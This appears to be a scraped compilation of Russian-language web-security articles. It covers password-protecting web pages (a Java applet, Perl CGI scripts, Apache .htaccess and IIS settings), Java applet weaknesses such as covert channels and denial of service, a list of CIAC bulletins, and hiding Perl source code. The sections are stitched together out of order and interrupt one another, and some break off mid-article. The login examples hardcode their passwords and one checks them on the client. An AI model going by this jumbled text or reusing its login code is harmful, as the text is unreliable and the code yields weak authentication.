import java.applet.*; import java.awt.*; import java.net.*; public class Password extends Applet { TextField login, password; String Login = "login"; String Password = "Password"; public Password() { } public void init() { Panel panel = new Panel(); panel.setLayout(new GridLayout(2,2)); login = new TextField(20); password = new TextField(20); panel.add(new Label("Login:")); panel.add(login); panel.add(new Label("Password:")); panel.add(password); add(panel); add(new Button("Ok")); } public boolean action(Event evt, Object obj) { if(evt.target instanceof Button) { String s; if(login.getText().equals(Login) && password.getText().equals(Password) ) { s = "http://www.citforum.ru/internet/pswpage/ok.shtml"; } else { s = "http://www.citforum.ru/internet/pswpage/bad.shtml"; } try { getAppletContext().showDocument(new URL(s)); } catch(Exception e) { password.setText(e.toString()); } return true; } return false; } }

Включив этот апплет в страницу, можно получить нечто такое:

Password check

Его можно сделать поумнее, завести для каждого пользователя отдельную страницу, заставить считывать данные из файла и т.д. Принципиальный недостаток - после того как человек попал на искомую страницу, никто не в силах запретить ему запомнить этот URL, так что средство это одноразовое. Конечно, можно запрятать страницу внутрь фрейма, чтобы URL не светился в строке адреса, но сами понимаете, от кого эта защита. Опять же, апплет полностью уходит к клиенту и в принципе полностью доступен для исследования.

Последнего недостатка лишено решение, основанное на использовании CGI. Простенький скрипт на Perl'е выглядит примерно так:

#!/usr/bin/perl use CGI qw(:standard); $query = new CGI; $ok = 'ok.shtml'; $address = 'bad.shtml'; $login = "login"; $password = "password"; $l = $query->param("login"); $p = $query->param("password"); if(($p eq $password) && ($l eq $login)) { $address = $ok; } print $query->redirect($address);

Пример использования:

Password check

Login: Старый пароль:

Чтобы справиться с первым недостатком, можно динамически сформировать новую страницу на основе спрятанной где-то там внутри, не выдавая при этом URL.

Модифицированный код:

#!/usr/bin/perl use CGI qw(:standard); $query = new CGI; $ok = '/internet/pswpage/ok.shtml'; $address = '/internet/pswpage/bad.shtml'; $docroot = $ENV{'DOCUMENT_ROOT'}; $localpath = "/internet/pswpage/"; $login = "login"; $password = "password"; $l = $query->param("login"); $p = $query->param("password"); if(($p eq $password) && ($l eq $login)) { $address = $ok; } print $query->header(); open (FL, $docroot.$localpath.$address); while(<FL>) { # Здесь заодно можно на лету модифицировать html-код # Зачем ? Ну мало ли... :) print $_; } close (FL);

Пример использования:

Password check

Login: Старый пароль: <

Как видно, URL файла уже не светится, правда ценой SSI, если что-то подобное присутствовало (впрочем, это как раз можно отлавливать при выводе и обрабатывать вручную). Но и здесь остается теоретическая возможность угадывания URL, при этом не надо забывать, что медвежью услугу могут сослужить всевозможные картинки, включаемые в страницы - при использовании относительных путей, конечно.

Наконец, наиболее надежный способ установки пароля на доступ - это воспользоваться средствами сервера - не зря ж их люди делали, в конце концов. Остановлюсь на двух - Апаче как самом популярном и IIS как тоже популярном :)

С IIS все совсем просто - защита осуществляется средствами NTFS, что, конечно, несколько ограничивает возможности не-администраторов сервера. Идея следующая: у пользователя IUSR_xxxx, под аккаунтом которого по умолчанию работают все посетители узла, отбирается доступ к желаемому файлу/каталогу. После чего доступ к этим файлам будут иметь только те пользователи, для которых это явно указано в Properties->Security. Понятно, что их гораздо удобнее объединять в группы. Здесь есть пара тонкостей. Во-первых, указанным пользователям должно быть дано право Logon locally (Policies->User Rights в User Manager'е). Во-вторых, если не выбрать в настройках WWW service Basic authentication (Clear Text), внутрь будут пропущены только пользователи Internet Explorer'а.

В Apache все делается несколько иначе. Защита ставится на уровне каталогов. Соответствующие директивы могут быть помещены как в в общий конфигурационный файл (в разделе <Directory>), так и в файлы .htaccess. Набор директив в обоих случаях одинаков, а для большинства людей, арендующих место под сайт/страницу на чужом сервере, гораздо актуальнее второй способ. Итак, вы создаете в каталоге, доступ к которому планируется ограничить, файл .htaccess, после чего вставляете в него следующие директивы (привожу основные):

AuthType тип контроля - обычно используется Basic.

AuthName имя - задает имя области, в которой действительны имена и пароли пользователей.


Это то самое имя, которое броузер показывает в диалоге ввода пароля. Задав одно такое имя для разных каталогов, можете сэкономить пользователям время по вводу лишнего пароля.

AuthGroupFile имя - задает имя файла, в котором хранятся имена групп и их членов. Его формат:

group1: member1 member2 ... group2: member3 member4 ...

AuthUserFile имя - задает имя файла с паролями. По большому счету для его формирования надо воспользоваться утилитой htpasswd из поставки Apache. Но по крайней мере для некоторых версий сервера этот формат такой:

user1:passwordhash1 user2:passwordhash2

Passwordhash вполне можно получить стандартной функцией Perl'а: $hash=crypt($pass,$salt);

где $pass - пароль, $salt - строка из двух символов, участвующая в формировании хэша.

Так что вполне можно автоматизировать процесс добавления новых пользователей, смену паролей через html-формы и т.д.

require user user1 user2 и require group user1 user2 позволяют указать, какие пользователи и группы получат доступ к данному каталогу.

require valid-user разрешает доступ всем пользователям, указанным в файле паролей системы.

<Limit method1 method2 ...> ... </Limit> , где methodi определяет HTTP-метод. Например, <Limit GET POST> ограничивает применение вложенных в нее директив случаями использования методов GET и POST (обычно этого более чем достаточно). Вложенными могут быть директивы require, order, allow и deny.

Еще пара полезных директив - deny и allow - соответственно запрещения и разрешения доступа. Применяются примерно так:

deny from all allow from 192.168

По умолчанию сначала выполняются все deny, потом все allow, так что allow from all разрешит доступ всем пользователям, невзирая ни на какие deny. Порядок можно изменить директивой order: order allow, deny.

deny from all отлично сочетается со вторым способом защиты страниц через CGI, именно этой директивой лучше всего прикрывать всякие пароли к гостевым книгам и т.д. При попытке обращения к страницам из этого каталога пользователь получит нечто .



Кстати, тут между делом демонстрируется самостоятельная обработка ошибок: в данном случае - код 403, Forbidden. Аналогично обрабатывается и всеми любимая 404, Not Found, и 401, Unauthorized. Для этого достаточно добавить в .htaccess директиву ErrorDocument код url:

ErrorDocument 404 /cgi-bin/bad.pl ErrorDocument 403 /cgi-bin/badaccess.pl ErrorDocument 401 /cgi-bin/badaccess.pl

Все, что делает скрипт - формирует сообщение об ошибке, используя переменную окружения REQUEST_URI, так что всместо него вполне можно просто указать какую-нибудь подходящую страницу.

Для заключительного примера используем файл .htaccess со следующим содержимым:

AuthType Basic AuthName Test AuthGroupFile /.../pagepsw/deny/tgroup AuthUserFile /.../pagepsw/deny/tuser <Limit GET POST> require group test </Limit>

В файле tgroup всего одна строчка - test: login test, в файле tuser - зашифрованные пароли для login (password) и test (test). Результат можете . Обратите внимание, при повторном обращении к этой странице броузер понимает, что только что обращался к этой области, и не утруждает пользователя лишним запросом пароля.

Таков вкратце минимальный набор сведений, необходимых для защиты web-страниц. Как показывает практика, более-менее доверять стоит лишь решениям, основанным на средствах, предоставляемых сервером (и то до тех пор, пока в сервере не обнаружится очередная дырка), так что если есть возможность, лучше выбирать именно их.

Опубликовано 26.02.2003 г.

Безопасна ли Java?

Не всегда хорошие идеи столь же хорошо воплощаются. Так случилось и с Java. Хотя защитные механизмы этой технологии очень хорошо продуманы, но их реализация еще далека от совершенства. Поэтому далее будет приведен небольшой список возможных "нападений". Не берусь судить, насколько серьезна опасность, связанная с каждым из описанных дефектов защиты, - я не хакер. Я просто хочу предупредить об этой опасности. При этом мне бы не хотелось. чтобы у читателя сложилось мнение, что Java "беззащитна". Не стоит забывать: Java все-таки имеет достаточно мощную защиту, "взломать" которую не так-то просто.

Блокировка сервиса

Это "нападение", в результате которого частично или полностью блокируется работа пользователя и даже может быть выведен из строя браузер. Вот далеко не полный список возможных вариантов такого "нападения":

загрузка процессора бессмысленными действиями (например, бесконечным циклом); заполнение всей свободной памяти (например, в результате выполнения бесконечного цикла); захват важных системных классов, например java.net.-INetAddress.

"Тайные" каналы

Эти каналы позволяют "нападающему" получать информацию даже через систему защиты (брандмауэры). Существование "тайных" каналов в браузере делает его очень опасным. В качестве "тайного" канала можно использовать следующие действия аплетов:

посылку почты через SMTP-порт сервера (причем почта посылается от имени пользователя, который работает с аплетом); запрос на поиск по несуществующему URL-адресу, в котором в качестве параметров передаются необходимые "взломщику" данные; попытку доступа по несуществующему адресу (последовательность директорий может содержать необходимые данные).

Информация, известная аплетам

С помощью этой информации "нападающий" может получить некоторые сведения, которые впоследствии могут быть им использованы для "взлома". Эту информацию можно передавать даже через брандмауэры по тайным каналам, которые описаны выше.
Аплетам обычно известна следующая системная информация:

системное время; установки функции hashcode( ); название и производитель Java-интерпретатора; версия JavaAPI; название и версия операционной системы; архитектура процессора.

Ошибки реализации

Это основной способ "нападения". Ошибки обычно очень трудно находить и исправлять. Причем для исследования пользовательской системы можно использовать информацию, которая доступна аплетам. Например, если "нападающий" знает, что в определенной версии Internet Explorer есть "полезная" для него ошибка, то, считывая с помощью аплета название и версию браузера и передавая эту информацию по тайным каналам (запрос по несуществующему URL), он получает информацию о своей "жертве".

Перехват ошибок

Java предусматривает перехват исключительных ситуаций. Это необходимо для составления более наглядных программ, благодаря которым обработку всех ошибок можно выполнять централизовано. Однако перехват ошибок позволяет игнорировать исключительные ситуации, создаваемые, например, SecurityManager. Такая ситуация очень опасна, так как позволяет "нападающему" заменить ClassLoader, SecurityManager и другие ключевые объекты. Естественно, хотелось бы блокировать подобные ситуации еще при загрузке аплета, но современные загрузчики этого не умеют. Вероятно, этот недостаток будет скоро исправлен.

Имя упаковки

Если "/" - первый символ имени упаковки, то система попытается загрузить эту упаковку с локального диска, причем загружается она с меньшими требованиями к безопасности, так как предполагается, что запускаемому с локального диска аплету можно доверять. Таким образом, любой Java-класс, который "атакующий" может записать на локальный диск, может быть загружен с ослабленной защитой. Причем "опасные" классы могут быть записаны на диск с помощью механизма кэширования браузера. Поэтому становится возможной загрузка "агрессивного" класса с ослабленной защитой.


Вероятно, и этот недостаток загрузчиков будет скоро исправлен.

* * *

Перечисленные лазейки в системе безопасности Java не означают полной беззащитности пользователей при возможных "нападениях". Чтобы воспользоваться этими ошибками, хакерам еще предстоит изрядно попотеть. Поэтому не спешите стирать свой браузер, а просто относитесь к аплетам и Java-программам чуть более настороженно.

Установить баланс между возможностями загружаемых аплетов и защитой клиентской системы довольно сложно. Некоторые компании предлагают усилить защиту клиентской системы от "агрессивных" аплетов, не ограничивая при этом возможностей "благонадежных" программ. К сожалению, предлагаемые решения невозможно сделать независимыми от конкретной платформы, что противоречит требованию абсолютной переносимости Java-программ. Поэтому, видимо, информационная безопасность еще долгое время будет оставаться одним из сложных и спорных вопросов Java-технологии.

Валерий Коржов - сотрудник компании Jet Infosystems. С ним можно связаться по тел.: 972-11-82 или электронной почте

* На основе "Ответов на часто задаваемый вопросы по безопасности WWW", которые можно найти по адресу .

Безопасность Java: миф или реальность?

Валерий Коржов

Журнал #02/97

Технология Java прочно завоевывает современный компьютерный мир. Ее широкие возможности по созданию распределенных вычислений не могут оставить равнодушными ни одного разработчика программного обеспечения. Однако часто бывает так, что серьезные возможности порождают не менее серьезные проблемы, связанные с обеспечением безопасности.

Создатели Java предусмотрели определенные методы защиты данных при распределенных вычислениях, но сейчас еще трудно понять, насколько правильно были спроектированы эти защитные механизмы. Прежде чем рассказывать о предусмотренных в Java средствах защиты, необходимо сказать несколько слов о самой технологии.

Дополнительные инфоpмационные матеpиалы пpо безопасность веб-сеpвеpов:

UNIX-системы

Бюллетени CIAC:

F-11: Уязвимость Unix NCSA httpd

H-01: Уязвимости в bash

I-024: Пpоблемы с безопасностью CGI в EWS1.1

I-082: Уязвимость сеpвеpов HP-UX Netscape

I-040: Уязвимость SGI Netscape Navigator

Дpугие бюллетени:

Domino 4.6 может позволять несанкциониpованную запись на диски удаленного сеpвеpа и в файлы конфигуpации.

В Excite 1.1 файлы с зашифpованными паpолями могут быть доступными по записи всем пользователям. Аpхивы списка pассылки BUGTRAQ: "Ошибки, связанные с безопасностью в Excite for Web Servers 1.1" по адpесу

В ColdFusion Application Server может быть осуществлен несанкциониpованный доступ к данным на веб-сеpвеpе.

Системы на основе Windows

Бюллетени CIAC:

I-024: Пpоблемы с безопасностью CGI в EWS1.1

I-025A: Уязвимые места в веб-сеpвеpах на основе Windows NT, связанные с доступом к файлам

Бюллетени Microsoft могут быть найдены на стpанице "Microsoft Security Advisor" по адpесу

Указанные ниже бюллетени пpиведены в списке "Последние бюллетени по безопасности" и "Аpхивы бюллетеней по безопасности":

MS99-013: Разpаботано pешение пpоблемы, связанной с уязвимостью пpогpамм пpосмотpа файлов. (Май 7, 1999)

MS99-012: Доступно обновление MSHTML для Internet Explorer. (Апpель 21, 1999)

MS99-011: Испpавление для уязвимости "DHTML Edit" доступно. (Апpель 21, 1999)

MS98-019: Испpавление для уязвимости IIS "GET" доступно. (Декабpь 21, 1998)

MS98-016: Доступно обновление для пpоблемы "Dotless IP Address" в Microsoft Internet Explorer 4. (Октябpь 23, 1998)

MS98-011: Доступно обновление для уязвимости JScript "Window.External" в Microsoft Internet Explorer 4.0. (Август 17, 1998)

MS98-004: Неавтоpизованный доступ чеpез ODBC к удаленным сеpвеpам с данными с помощью Remote Data Services и Internet Information Systems. (Июль 15, 1998)

Дpугие бюллетени:

"Уязвимость в pасшиpениях ISAPI позволяет выполнять пpогpаммы как системный пользователь" по адpесу:



Кэшиpованные паpоли в Internet Explorer 5. 0 могут быть использованы дpугим пользователем.

Internet Explorer (3.01, 3.02, 4.0, 4.01) может позволять фальсифициpовать фpеймы для обмана пользователя Microsoft Knowledgebase Article ID: Q167614: "Доступно обновление для пpоблемы "фальшивый фpейм""

Системы, использующие NCSA HTTPD и Apache HTTPD

Бюллетени CIAC:

G-17: Уязвимости в пpимеpах CGI для HTTPD

G-20: Уязвимиости в веб-сеpвеpах NCSA и Apache

Дpугие бюллетени:

Атака на блокиpование Apache -- Apache httpd (1.2.x, 1.3b3)

"Ошибка в HTTP REQUEST_METHOD"

Системы, использующие Netscape Navigator

Бюллетени CIAC:

H-76: Уязвимость Netscape Navigator

I-082: Уязвимость веб-сеpвеpов Netscape на HP-UX

I-040: Уязвимость Netscape Navigator в SGI

Дpугие бюллетени:

"Чтение локальных файлов в Netscape Communicator 4.5" по адpесу

Netscape Navigator может позволять фальсифициpовать фpеймы для обмана пользователя Бюллетень по безопасности Netscape: "Уязвимость, связанная с фальсификацией фpейма"

Системы, использующие скpипты в cgi-bin

Бюллетени CIAC:

I-013: Уязвимость, связанная с пеpеполнением буфеpа в Count.cgi

I-014: Уязвимость в CGI-скpиптах в GlimpseHTTP и WebGlimpse

Дpугие бюллетени:

Пpогpаммы webdist.cgi, handler и wrap в IRIX

"Выпущен Nlog 1.1b - ошибки в безопасности испpавлены"

CIAC также опубликовал документ, названный "Как защитить Internet Information Server", в котоpом есть глава пpо защиту веб-сеpвеpов

Имеются также дpугие pесуpсы, котоpые CIAC pекомендует пpочитать. Во-пеpвых, это публикация SANS и Института интpанетов, выпущенная после того, как был взломан веб-сеpвеp министеpства юстиции США - "Двенадцать ошибок, котоpых нужно избегать пpи администpиpовании веб-сеpвеpа." Этот документ может быть найден по адpесу:

.

SANS также опубликовал документ, названный "14 шагов для того чтобы избежать беды с вашим веб-сайтом."

Дpугой веб-сайт, котоpый вы должны посетить - это .

Там находится ЧаВО (FAQ) по пpоблеме безопасности веб-сеpвеpа, котоpый ведется WWW-консоpциумом - . У них есть отдельные pазделы для каждой опеpационной системы, используемой сегодня на веб-сеpвеpах:

.

ЕСЛИ ВАШ ВЕБ-САЙТ БЫЛ ВЗЛОМАН:

CIAC pекомендует следующие шаги пpи пpовеpке веб-сеpвеpа:

Установить ВСЕ испpавления, связанные с безопасностью, как для самого веб-сеpвеpа, так и для опеpационной системы. Удалить ВСЕ ненужные файлы, такие как phf из диpектоpии со скpиптами. Удалить стандаpтные диpектоpии с документами, поставляемые с веб-сеpвеpом (напpимеp, с IIS и ExAir). Пpовеpить ВСЕ логины пользователей на веб-сеpвеpе и удостовеpиться в том, что они имеют тяжело угадываемые паpоли. Пpовеpить ВСЕ сеpвисы и откpытые поpты на веб-сеpвеpе, чтобы удостовеpиться в том, что вместо них не установлены пpогpаммы-тpоянские кони. Пpовеpить, нет ли подозpительных файлов в диpектоpиях /dev, /etc и /tmp.

Как pешить пpоблему:

Соблюдать все пpавила безопасности, описанные ниже, и опеpативно устанавливать все испpавления пpогpамм, о котоpых вам сообщила ваша гpуппа компьютеpной безопасности или пpоизводитель ваших пpогpамм, используемых на веб-сеpвеpе.

Как работает Java?

В основе технологии Java лежит клиент-серверная модель, а Java-программа состоит из нескольких блоков, каждый из которых выполняет определенную часть общей задачи. На стороне клиента присутствуют только те блоки, которые необходимы в данный момент. Причем наиболее часто используемые блоки хранятся в кэше на жестком диске или в оперативной памяти компьютера пользователя. Поскольку блок загружается с сервера, то и управлять такой системой можно с сервера, т. е. централизованно. Это также гарантирует, что пользователь всегда будет использовать самую последнюю версию программы.

Основной компонент этой технологии - виртуальный Java-процессор, который представляет собой среду для исполнения Java-команд, или так называемых байт-кодов. Любая Java-программа должна соответствовать спецификации виртуального Java-процессора, которая полностью определяет систему команд Java, типы данных, обрабатываемых Java-процессором, и его регистры. Кроме того, Java-процессор выполняет некоторые вспомогательные функции, например "сбора мусора", то есть освобождения неиспользуемой памяти.

Байт-коды разрабатывались так, чтобы максимально сократить среднюю длину команды. Java-процессор имеет минимум регистров, стековую архитектуру и часто использует косвенную адресацию. Поэтому большинство из команд занимает всего один байт, к которому добавляется (если необходимо) номер операнда - 0, 1, 2, 3 и так далее. Кроме того, для обработки каждого типа данных Java-процессор имеет свой набор команд. В результате средняя длина Java-команды составляет всего 1,8 байта (при длине команды классических RISC-процессоров в среднем четыре байта).

Кроме виртуального процессора, технология Java включает в себя (в качестве необязательного элемента) объектно-ориентированный язык программирования, построенный на основе языка C++, из которого убрали все лишнее и добавили новые механизмы для обеспечения безопасности и распределенных вычислений. Однако язык Java можно заменить любым другим достаточно совершенным языком программирования, добавив в него все необходимые элементы.
Например, уже существует компилятор языка Ада, который генерирует программы в байт-кодах Java.

Язык Java дает программистам возможность не просто разрабатывать новые программы, но и использовать элементы уже написанных и проверенных программ. Такой модульный принцип позволяет быстро писать новые программные продукты и эффективно модернизировать старые. Кроме того, в стандарт языка входит множество полезных библиотек, на основе которых можно строить вычислительные системы любой сложности. Причем этот стандартный набор постоянно пополняется новыми важными функциями.

Еще одной особенностью Java являются аплеты. Аплет - это небольшая программка, в которой должно быть определено несколько обязательных функций. Аплет загружается по сети и может выполняться на Web-браузере, который поддерживает язык Java. Именно эта часть Java-технологии предназначена для использования во всемирной сети Internet, и поэтому защита должна распространяться как на сам аплет, так и на клиента сети, который использует этот аплет.

Как защищены Java-аплеты?

Наиболее уязвимыми с точки зрения безопасности компонентом Java-технологии являются аплеты, поскольку их может использовать любой клиент, который вовсе не обязан знать правила "техни-ки безопасности" при работе с этими небольшими программками. Именно поэтому для аплетов предусмотрены самые жесткие методы защиты. Хотя различные браузеры и программы просмотра аплетов могут по-разному защищать информацию пользователя от нападения, но в общем случае аплету должно быть запрещено следующее:

читать, изменять, уничтожать и переименовывать локальные файлы; создавать локальные директории и читать их содержимое; проверять существование и параметры определенного файла; осуществлять доступ по сети к удаленному компьютеру; получать список сетевых сеансов связи, которые устанавливает локальный компьютер с другими компьютерами; открывать новые окна без уведомления пользователя (это необходимо для предотвращения "эмуляции" аплетом других программ); получать сведения о пользователе или его домашней директории; определять свои системные переменные; запускать локальные программы; выходить из интерпретатора Java; загружать локальные библиотеки; создавать потоки, которые не перечислены в ThreadGroup (класс, управляющий выполнением потоков - различных частей программы) этого аплета, и управлять ими; получать доступ к ThreadGroup другого аплета; определять свои объекты Class-Loader (Загрузчик Java-объектов) и SecurityManager (Диспетчер безопасности для аплетов); переобозначать системные объекты ContentHandlerFactory, SocketImplFactory и URLStreamHandler-Factory (эти классы управляют сетевой работой Java); получать доступ к любой упаковке, отличной от стандартных; определять классы, которые входят в локальную упаковку.

Эти правила обеспечивают следующие компоненты Java-технологии.

Собственно виртуальный Java-процессор, который постоянно контролирует свое состояние. Загрузчик аплетов и Java-программ, который контролирует загружаемые коды. Диспетчер безопасности (Secu-rityManager), контролирующий и блокирующий опасные действия аплетов.

В классе SecurityManager перечислены методы, которые используются системой для контроля действий аплета в зависимости от характеристик окружающей среды. Программа, которая применяется для просмотра аплета, создает подкласс SecurityManager, который и реализует необходимую политику безопасности. Ссылка на этот SecurityManager записывается в объекте System.

Еще один механизм безопасности встроен в загрузчик аплетов и программ (ClassLoader). Браузер переопределяет этот класс и реализует свои собственные правила работы с сетевыми протоколами. Одна из основных функций загрузчика объектов - разделение пространства имен разных аплетов и операционной системы, что позволяет избежать их взаимного влияния.

Другая, не менее важная, функция загрузчика - верификация байт-кодов, т. е. проверка правильности полученного элемента Java-программы и его целостности. В процессе верификации выясняется следующее:

соответствует ли версия полученного блока версиям остальных элементов системы; сохранен ли формат исполняемого байт-кода; соответствует ли программа спецификации конкретного виртуального Java-процессора; может ли возникнуть переполнение или исчерпание стека; все ли регистры Java-процессора используются правильно; нет ли некорректных преобразований типов.

Целями такой проверки являются выявление неправильного использования косвенной адресации, которое может привести к нарушению в работе виртуального процессора, и проверка целостности аплета. Этот механизм обеспечивает защиту и надежную работу распределенной программы, что позволяет не загружать в браузер всю Java-программу целиком, а подгружать ее небольшими блоками по мере необходимости.

Сам виртуальный Java-процессор также имеет встроенные механизмы защиты от нападения. Например, поскольку байт-коды Java интерпретируются, то можно контролировать индексы массивов, что позволяет избежать переполнение буфера - самой распространенной и опасной ошибки. Встроенные механизмы обработки исключительных ситуаций позволяют эффективно решать возникающие конфликты, а "сборщик мусора", который очищает неиспользуемую память, не дает возможности "нападающему" просмотреть "отходы", которые могут содержать полезную информацию.

Кpаткое описание пpоблемы:

Публичные веб-сеpвеpа пpодолжают оставаться объектами атак хакеpов, котоpые хотят с помощью этих атак нанести уpон pепутации оpганизации или добиться каких-либо политических целей. Хоpошие меpы защиты могут защитить ваш сайт от тех непpиятностей, котоpые будет иметь ваша оpганизация в случае успешной атаки на него.

Оценка pиска:

Публичные веб-сеpвеpа взламываются почти ежедневно; угpоза того, что будет совеpшена атака и на ваш веб-сеpвеp, - pеальна.

PERL2EXE

.

Утилита для преобразования Perl сценариев в исполнимые файлы, не требующие наличия интерпретатора языка Perl. Perl2Exe может сгенерировать модули для Win32 и многих Unix-подобных операционных систем. Perl2Exe также позволяет создавать неконсольные программы, с использованием Perl/Tk.

IndigoSTAR Software,

Исходя из представленных заявлений, можно было бы предположить, что имеется в виду интеграция непосредственно интерпретатора языка Perl и уже готового пи-кода сценария. То есть, бинарный исполнимый файл ни в коем случае не содержит исходного текста сценария. Однако, на поверку компиляция оказалась даже не компиляцией в пи-код, а именно простым вложением зашифрованного файла с исходным текстом на языке. В процессе исполнения бинарного файла (для платформы win32 это обычный PE-EXE исполнимый файл), исходный текст сценария и требуемые модули языка Perl расшифровываются с помощью инженерного пароля, а затем исполняются. Для этого используется технология "Perl Embedded in C", разработанная Ларри Уоллом, инструментарий для которой распространяется вместе с интерпретаторами языка сценариев Perl бесплатно.

В начале июня этого года среди писем, распространяемых в популярной рассылке BugTraq, посвященной информационной безопасности и, в частности, выявлению фактов уязвимости программного обеспечения можно было встретить письма о безопасности предлагаемого разработчиками IndigoStar Software распространения исходных текстов сценариев в виде бинарных файлов. Несмотря на то, что авторы утилиты Perl2Exe не предоставляют ее исходных текстов, оказалось возможным, исследовав ее программный код, найти инженерный пароль и способ зашифрования исходных текстов. Более того, это оказалось возможно делать в совершенно автоматическом режиме, без участия человека-оператора. Говорить о криптографической стойкости примененного метода бессмысленно, поскольку ключ к шифру находится рядом с самим шифром [5]. Таким образом, чтобы извлечь исходный текст из бинарного файла, достаточно запустить на исполнение специальную утилиту, совершающую обратное преобразование Exe2Perl.
Автором одной из таких утилит, с легкостью позволяющей "доставать" исходные тексты, является Четан Ганатра (Chetan Ganatra, ganatras@infotech.icici.com).

Следующим способом сокрытия исходных текстов и их защита от несанкционированной модификации можно указать встроенные средства языка Perl. Это так называемые фильтры исходных текстов или source filters.

Необходимость создания механизма подобных фильтров была продиктована именно соображениями защиты исходных текстов сценариев. Защищенный сценарий может выглядеть следующим образом:

#!/bin/perl use DecipherModule; @*x$]`0uN&k^Zx02jZ^X{.?s!(f;9Q/^A^@~~8H]|,%@^P:q-= …

Фильтры исходных текстов в частном случае позволяют зашифровать и/или заархивировать часть основного тела сценария так, что сначала будет загружен специальный модуль, который будет расшифровывать остальную часть сценария построчно. Преимущества такого подхода возможно не очевидны на первый взгляд. Для этого необходимо чуть более детально разобраться в достаточно универсальном механизме фильтров исходных текстов. На первый взгляд, этот весьма специфичный инструмент несет в себе возможности и разработки нескольких последних лет в смежных областях программирования и защиты программного обеспечения. Многие технологии защиты программного обеспечения от несанкционированного копирования и использования могут быть с легкостью перенесены на "почву" фильтров исходных текстов и использованы для веб-сценариев. И здесь точно также, как и на платформах с win32 существуют те же проблемы и методы обхода защитных барьеров.

Самым уязвимым в смысле защиты от исследования сценария, является модуль расшифрования основного тела исходного текста. Он может быть написан на самом языке Perl, но тогда достаточно будет исследовать его, что является в общем-то тривиальной задачей, поскольку он не может быть зашифрован. Кроме этого, если алгоритм зашифрования достаточно сложен, расшифровка всего исходного текста может занять долгое время, что неизбежно скажется на эффективности функционирования веб-узла, а это нежелательно ни при каких обстоятельствах.


Очевидно, что в этом случае применять шифрование может быть не очень удачным решением. Однако, в качестве расшифровывающего модуля можно использовать своего рода плагин, подлючаемую библиотеку, написанную на любом другом языке и откомпилированную как разделяемый модуль (shared library). Используя специальный набор функций Perl API, данный модуль расшифрует исходный текст гораздо быстрее, чем если бы он сам был написан на языке Perl. Кроме того, такой подход позволяет на полную мощность использовать средства усложнения анализа программного кода, включая такие известные приемы как применение самомодифицирующегося кода, шифрование/расшифрование "на лету", во время исполнения процедур модуля. Встроенные средства Perl API позволяют также определить запущен ли скрипт под отладчиком в целях исследования его кода, а также наличие и количество других фильтров исходных текстов.

Подобный механизм был реализован авторами этой статьи с использованием поточного шифра RC4 с длиной ключа 32 байта. Механизм его работы довольно прост и может быть адаптирован в зависимости от предложенной задачи. После зашифрования исходного сценария специальной утилитой с помощью RC4, он выглядит приблизительно так:

Исходный текст сценария в открытом виде:

#!/bin/perl print "Hello, world"; die immediately;

И в зашифрованном виде (после обработки специальной утилитой):

#!/bin/perl use scripher; f;9Q/^A^@~Ро$#9Ёфsdjаs2fk58f_!@.?s!(f;9Q/^A^@~

Модуль scripher.pm загружает заранее откомпилированную разделямую библиотеку scripher.so с помощью стандартного модуля интерпретатора DynaLoader.

Scripher.pm

package scripher; require DynaLoader; @ISA = qw(DynaLoader); $VERSION = "0.0.1"; bootstrap scripher $VERSION; 1;

Семикилобайтный модуль с реализованным алгоритмом RC4 и необходимыми средствами обработки исходного текста размещается в том же каталоге, что и зашифрованный файл сценария. Таким образом, для передачи сценария необходимо передать два дополнительных файла (которые являются общими для всех зашифрованных сценариев этого типа), а именно scripher.pm и scripher.so.



В общем случае, у данного метода остается тот же недостаток, что и у Perl2Exe или схожей с ней утилит, а именно наличие инженерного пароля. Впрочем, эту проблему в данном случае можно разрешить довольно просто. Ключ к шифру можно передавать по сети в HTTP-запросе. Чтобы избежать перехвата пароля-ключа, его можно разделить на две части, и зашифровав одну часть другой, одну хранить в расшифровывающем модуле, а другую передавать по сети. В качестве же инженерного пароля использовать обе половинки, подвергнутые некоторому одностороннему преобразованию. Таким образом, процесс расшифрования исходного текста для стороннего исследователя становится весьма затруднительным.

В качестве дополнительного препятствия к анализу исходного текста сценария можно отметить метод смысловых значений идентификаторов или source mangling. Будучи пропущенным через своего рода конвертер, сценарий приобретает практически нечитаемый и невероятно неудобный для анализа вид.

При использовании source mangling текст такого сценария:

#!/usr/bin/perl # randomize source file # lines are output in random order # reads from from stdin or arg0, writes to stdout or arg1 open (STDIN, $ARGV[0]) if (($ARGV[0] ne "") && ($ARGV[0] ne "-")); open (STDOUT, ">$ARGV[1]") if ($ARGV[1] ne ""); @list = <STDIN>; while (@list) { $rand = rand (@list); print $list[$rand]; # for indexing rand is truncated plice @list, $rand, 1; # delete array element }

превратится в нечто подобное:

#!/usr/bin/perl open (STDIN,$ARGV[0])if (($ARGV[0] ne "")&&($ARGV[0] ne "-"));open (STDOUT,">$ARGV[1]")if ($ARGV[1] ne "");@110202012_as=<STDIN>; while(@110202012_as){$qewre7_434=rand(@l110202012_as);print $110202012_as[$qewre7_434];splice@110202012_as,$qewre7_434,1;}

Ранее искажение исходных текстов было весьма популярно - достаточно вспомнить распространяемые исходные тексты на языке Паскаль к пакетам Turbo Power для Borland Pascal 7.0.


Искаженные подобным образом, они тем не менее оставались годными к компиляции и линковке. Возможно, что с развитием сценарного программирование, source mangling приобретет вторую молодость.

Из всего вышесказанного можно сделать очевидный вывод, что каждый раз развитие новой технологии поднимает множество вопросов, касающихся области интеллектуальной собственности, и каждый раз вслед за обострением борьбы за авторские права возникают всевозможные способы их защиты, де юро и де факто, и обхода защитных барьеров. К сожалению, динамика последних лет показывает невозможность уберечься от компьютерного пирата.

Литература:

[1] Остераут Д., "Сценарии: высокоуровневое программирование для XXI века", ОТКРЫТЫЕ СИСТЕМЫ #03/98.

[2] Храмцов П., "Управление сценариями просмотра Web-страниц", COMPUTERWORLD РОССИЯ #46/96.

[3] Крюков М., Прозоровский В., "Гражданско-правовой статус производителей программ", ОТКРЫТЫЕ СИСТЕМЫ #02/99.

[4] IndigoStar Software, "Perl2Exe FAQ Page".

[5] Аграновский А.В., Хади Р.А., Ерусалимский Я.М., "Криптография и открытые системы", Телекоммуникации, N1/2000.

Пpавила обеспечения безопасности WWW-сеpвеpа:

Разместите ваш веб-сеpвеp в демилитаpизованной зоне (DMZ). Сконфигуpиpуйте свой межсетевой экpан (файpволл) таким обpазом, чтобы он блокиpовал входящие соединения с вашим веб-сеpвеpом со всеми поpтами, кpоме http (поpт 80) или https (поpт 443).

